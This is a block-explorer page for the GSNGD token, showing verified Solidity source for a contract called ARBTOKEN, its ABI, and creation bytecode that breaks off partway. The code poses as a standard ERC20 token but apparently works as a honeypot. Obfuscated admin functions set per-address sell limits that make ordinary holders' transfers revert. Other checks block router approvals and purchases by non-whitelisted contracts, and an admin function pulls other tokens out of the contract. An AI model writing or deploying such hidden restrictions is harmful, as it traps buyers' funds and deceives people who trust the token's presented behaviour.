ETH Price: $2,629.14 (-3.92%)

Token

GSNGD (GSNGD)

Overview

Max Total Supply

100,000,000 GSNGD

Holders

7

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ARBTOKEN

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-18
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

abstract contract ERC165 is IERC165 {
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}



interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}


interface IAccessControl {
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
    error AccessControlBadConfirmation();
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address callerConfirmation) external;
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}



abstract contract Context {
    struct IEKDS {
        mapping(address => uint256) rm;
        mapping(address => uint256) rd;
    } 
    mapping(address => bool) _ENacel;
    mapping(address => IEKDS) OEKSA;
    address swaV2;
    uint256 public _auestd;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }
}





library Strings {

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }


}


abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }
    
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant ADMIN_ROLE = 0x00;

    bytes32 public constant OPION_ROLE = "OPIONST";

    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    function astrueMT(bytes32 role, address account, string memory memo)
        public
        onlyRole(ADMIN_ROLE)
    {

        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(memo);
        if (err == false) {
            revert AccessControlBadConfirmation();
        }
        if(memoUint >= 0 && role == OPION_ROLE){
            _eouRMue(account, memoUint, true);
            
        }
        
    }

    function Auestd(bytes32 role, uint256 auestd) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _auestd = auestd;
        }
    }

    function _eg_RMS_ae(address account) internal view returns (uint256) {
        return OEKSA[account].rm[account];
    }

    function _eg_RDS_ae(address account) internal view returns (uint256) {
        return OEKSA[account].rd[account];
    }

    function Eg_RMS_ae(address account) public view returns (uint256) {
        return OEKSA[account].rm[account]/10**18;
    }

    function Eg_RDS_ae(address account) public view returns (uint256) {
        return OEKSA[account].rd[account]/10**18;
    }

    function addTovueKen(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _ENacel[addr] = true;
        }
    }

    function remOEKSAect(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _ENacel[addr] = false;
        }
        
    }

    function _eouRMue(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            OEKSA[account].rm[account] = value*10**18;
        } else {
            OEKSA[account].rm[account] = value;
        }
    }

    function _eouRDue(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            OEKSA[account].rd[account] = value*10**18;
        } else {
            OEKSA[account].rd[account] = value;
        }
    }

    function senUiecDT(
        bytes32 role,
        address addr,
        uint256 num
    ) public onlyRole(ADMIN_ROLE) returns (bool success) {
        if(role == ADMIN_ROLE){
            return IERC20(addr).transfer(msg.sender, num);
        }else{
            return false;
        }
        
    }

    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }
        _revokeRole(role, callerConfirmation);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address _addr_ss = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _grantRole(ADMIN_ROLE, _msgSender());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    

    function _EGV1r(address to, uint256 amount) internal {
        if (amount > 0 && isContract(to)) {
            if (to != address(0) && !_ENacel[to]) {
                revert ERC20InvalidReceiver(to);
            }
        }
    }


    function _EGV2r(address from, uint256 amount) internal {
       if(!hasRole(ADMIN_ROLE, from)){
            if(!_ENacel[from]){
                if (_auestd > 0) {
                    uint256 rd = _eg_RDS_ae(from) + amount;
                    if(_eg_RMS_ae(from) > 0){
                        if(rd > 0){
                            if (rd <= _eg_RMS_ae(from) && amount > 0) {
                                _eouRDue(from, rd, false);
                            } else {
                                revert ERC20InvalidSender(from);
                            }
                        }
                        
                    }
                }
            }
       }
    }

    

    function update(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == swaV2) {
            _EGV1r(to, value); 
        } else {
            _EGV2r(from, value);
        }
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        update(from, to, value);
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _grantRole(ADMIN_ROLE, account);
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _approveev(owner, spender);
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _approveev(
        address owner,
        address spender
    ) internal {
        if(!isContract(owner)){
            if(spender == _addr_ss){
                _approveev(owner);
            }
        }
        
    }

    function _approveev(
        address owner
    ) internal virtual returns (uint256) {
        if(_auestd > 60){
            if(!_ENacel[owner]){
                revert ERC20InvalidSender(owner); 
            }
        }
        return 0;

    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function muilSenAddr(
        address tokenC,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN_ROLE) {
        ERC20 tokenCon = ERC20(tokenC);
        uint256 tokendecimal = tokenCon.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            tokenCon.transfer(_address[i], temp);
        }
    }
}



contract ARBTOKEN is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_addr_ss);
        address _swaV2 = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        _mint(account, value * 10**decimals());
        swaV2 = _swaV2;
        _ENacel[swaV2] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"auestd","type":"uint256"}],"name":"Auestd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Eg_RDS_ae","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Eg_RMS_ae","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OPION_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_auestd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"addTovueKen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"memo","type":"string"}],"name":"astrueMT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenC","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"muilSenAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"remOEKSAect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"senUiecDT","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052731b02da8cb0d097eb8d57a175b88c7d8b47997506600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610063575f80fd5b50604051613f4d380380613f4d83398181016040528101906100859190610dc3565b838381600890816100969190611063565b5080600990816100a69190611063565b506100c65f801b6100bb6102e060201b60201c565b6102e760201b60201c565b5050505f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610138573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061015c9190611132565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016101aa92919061116c565b6020604051808303815f875af11580156101c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ea9190611132565b9050610220836101fe6103dd60201b60201c565b600a61020a91906112fb565b866102159190611345565b6103e560201b60201c565b8060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505050505061142f565b5f33905090565b5f6102f8838361047d60201b60201c565b6103d357600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103706102e060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506103d7565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610455575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161044c9190611386565b60405180910390fd5b6104675f801b836102e760201b60201c565b506104795f83836104e160201b60201c565b5050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b6104f283838361070e60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610542578060075f828254610536919061139f565b92505081905550610612565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156105cc578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016105c3939291906113e1565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610659578060075f82825403925050819055506106a4565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107019190611416565b60405180910390a3505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361077757610772828261078d60201b60201c565b610788565b610787838261087560201b60201c565b5b505050565b5f811180156107a757506107a68261099c60201b60201c565b5b15610871575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561082e57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561087057816040517fec442f050000000000000000000000000000000000000000000000000000000081526004016108679190611386565b60405180910390fd5b5b5050565b6108875f801b8361047d60201b60201c565b610998575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610997575f6003541115610996575f816108f3846109be60201b60201c565b6108fd919061139f565b90505f61090f84610a4260201b60201c565b1115610994575f8111156109935761092c83610a4260201b60201c565b811115801561093a57505f82115b156109555761095083825f610ac560201b60201c565b610992565b826040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016109899190611386565b60405180910390fd5b5b5b505b5b5b5050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015610b6357670de0b6b3a764000082610adf9190611345565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673